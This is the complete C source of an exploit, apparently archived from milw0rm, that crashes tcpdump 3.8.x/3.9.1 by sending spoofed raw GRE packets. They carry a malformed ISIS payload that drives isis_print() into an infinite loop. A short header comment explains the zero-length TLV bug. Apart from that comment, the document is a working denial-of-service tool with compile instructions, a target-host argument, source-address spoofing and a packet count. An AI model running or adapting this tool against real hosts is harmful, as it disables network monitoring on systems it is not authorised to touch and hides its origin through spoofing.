// Tcpdump 3.8.x/3.9.1 (isis_print) Infinite Loop DoS Exploit

/*[ tcpdump[3.8.x/3.9.1]: (ISIS) isis_print() infinite loop DOS. ]* 
 *                                                                *
 * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)               *
 *                                                                *
 * compile:                                                       *
 *  gcc xtcpdump-isis-dos.c -o xtcpdump-isis-dos                  *
 *                                                                *
 * tcpdump homepage/URL:                                          *
 *  http://www.tcpdump.org                                        *
 *                                                                *
 * Tcpdump is a program that allows you to dump the traffic on a  *
 * network. It can be used to print out the headers of packets on *
 * a network interface that matches a given expression. You can   *
 * use this tool to track down network problems, to detect "ping  *
 * attacks" or to monitor the network activities.                 *
 *                                                                *
 * tcpdump(v3.9.1 and earlier versions) contains a remote denial  *
 * of service vulnerability in the form of a single (GRE) packet  *
 * causing an infinite loop.  the packet doesnt actually have to  *
 * be an GRE packet, as the function is used in isoclns_print()   *
 * which is used many places by tcpdump, however i went with GRE  *
 * because it was the first one that popped up.                   *
 *                                                                *
 * as this bug doesn't appear to be fixed in the new(3.9.x/CVS)   *
 * versions i'll elaborate on the problem.  the bug lies in       *
 * isis_print()(called by isoclns_print()) in the                 *
 * TLV_ISNEIGH_VARLEN portion of the code, be providing a zero    *
 * length causing an infinite loop.                               *
 *                                                                *
 * some versions of tcpdump(depending on the platform/OS) need no *
 * special command-line arguments to allow this to happen,        *
 * however most need the "-v" argument.                           *
 ******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif

/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif

#define DFL_AMOUNT 5

/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
 unsigned char version:4,ihl:4;
#else
 unsigned char ihl:4,version:4;
#endif
 unsigned char tos;
 unsigned short tot_len;
 unsigned short id;
 unsigned short frag_off;
 unsigned char ttl;
 unsigned char protocol;
 unsigned short check;
 unsigned int saddr;
 unsigned int daddr;
};
struct greh{
#ifdef _USE_BIG_ENDIAN
  u_int8_t  check:1,routing:1,key:1,seq:1,strict:1,recur:3;
  u_int8_t  flags:5,version:3;
#else
  u_int8_t  recur:3,strict:1,seq:1,key:1,routing:1,check:1;
  u_int8_t  version:3,flags:5;
#endif
  u_int16_t protocol;
};
struct sumh{
  unsigned int saddr;
  unsigned int daddr;
  unsigned char fill;
  unsigned char protocol;
  unsigned short len;
};

/* malformed ISIS data. (the bug) */
static char payload[]=
 "\x83\x1b\x01\x06\x12\x01\xff\x07\xff\xff"
 "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
 "\xff\xff\xff\xff\xff\xff\x01\x07\x00\x00";

/* prototypes. (and sig_alarm) */
void gre_spoof(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv) {
 unsigned char nospoof=0;
 unsigned int amt=DFL_AMOUNT;
 unsigned int daddr=0,saddr=0;
 printf("[*] tcpdump[3.8.x/3.9.1]: (ISIS) isis_print() infinite loop "
 "DOS.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
 if(argc<2){
  printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
  argv[0]);
  exit(1);
 }
 if(!(daddr=getip(argv[1])))
  printe("invalid destination host/ip.",1);
 if(argc>2)saddr=getip(argv[2]);
 if(argc>3)amt=atoi(argv[3]);
 if(!amt)printe("no packets?",1);
 printf("[*] destination\t: %s\n",argv[1]);
 if(!nospoof)
  printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
 printf("[*] amount\t: %u\n\n",amt);
 printf("[+] sending(packet = .): ");
 fflush(stdout);
 while(amt--){
  /* spice things up. */
  srandom(time(0)+amt);
  gre_spoof(daddr,saddr);
  printf(".");
  fflush(stdout);
  usleep(50000);
 }
 printf("\n\n[*] done.\n");
 fflush(stdout);
 exit(0);
}
/* (spoofed) generates and sends a (GRE) ip packet. */
void gre_spoof(unsigned int daddr,unsigned int saddr){
 signed int sock=0,on=1;
 unsigned int psize=0;
 char *p,*s;
 struct sockaddr_in sa;
 struct iph ip;
 struct greh gre;
 struct sumh sum;
 /* create raw (GRE) socket. */
 if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_GRE))<0)
  printe("could not allocate raw socket.",1);
 /* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
 if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
  printe("could not set IP_HDRINCL socket option.",1);
#endif
 sa.sin_family=AF_INET;
 sa.sin_addr.s_addr=daddr;
 psize=(sizeof(struct iph)+sizeof(struct greh)+sizeof(payload)-1);
 memset(&ip,0,sizeof(struct iph));
 memset(&gre,0,sizeof(struct greh));
 /* values not filled = 0, from the memset() above. */
 ip.ihl=5;
 ip.version=4;
 ip.tot_len=htons(psize);
 ip.saddr=(saddr?saddr:random()%0xffffffff);
 ip.daddr=daddr;
 ip.ttl=(64*(random()%2+1));
 ip.protocol=IPPROTO_GRE;
 ip.frag_off=64;
 /* OSI. (to isoclns_print(), then to isis_print()) */
 gre.protocol=htons(254);
 /* needed for the ip checksum. */
 sum.saddr=ip.saddr;
 sum.daddr=ip.daddr;
 sum.fill=0;
 sum.protocol=ip.protocol;
 sum.len=htons(sizeof(struct greh)+sizeof(payload)-1);
 /* make sum/calc buffer for the ip checksum. (correct) */
 if(!(s=(char *)malloc(sizeof(struct iph)+1)))
  printe("malloc() failed.",1);
 memset(s,0,(sizeof(struct iph)+1));
 memcpy(s,&ip,sizeof(struct iph));
 ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
 free(s);
 /* put the packet together. */
 if(!(p=(char *)malloc(psize+1)))
  printe("malloc() failed.",1);
 memset(p,0,psize);
 memcpy(p,&ip,sizeof(struct iph));
 memcpy(p+sizeof(struct iph),&gre,sizeof(struct greh));
 memcpy(p+(sizeof(struct iph)+sizeof(struct greh)),
 payload,sizeof(payload));
 /* send the malformed (GRE) packet. (ISIS data) */
 if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
 sizeof(struct sockaddr))<psize)
  printe("failed to send forged GRE packet.",1);
 free(p);
 return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
 unsigned short answer=0;
 register unsigned short *w=addr;
 register int nleft=len,sum=0;
 while(nleft>1){
  sum+=*w++;
  nleft-=2;
 }
 if(nleft==1){
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
 }
 sum=(sum>>16)+(sum&0xffff);
 sum+=(sum>>16);
 answer=~sum;
 return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
 struct hostent *t;
 unsigned int s=0;
 if((s=inet_addr(host))){
  if((t=gethostbyname(host)))
   memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
 }
 if(s==-1)s=0;
 return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
 printf("[!] %s\n",err);
 if(e)exit(e);
 return;
}

// milw0rm.com [2005-04-26]
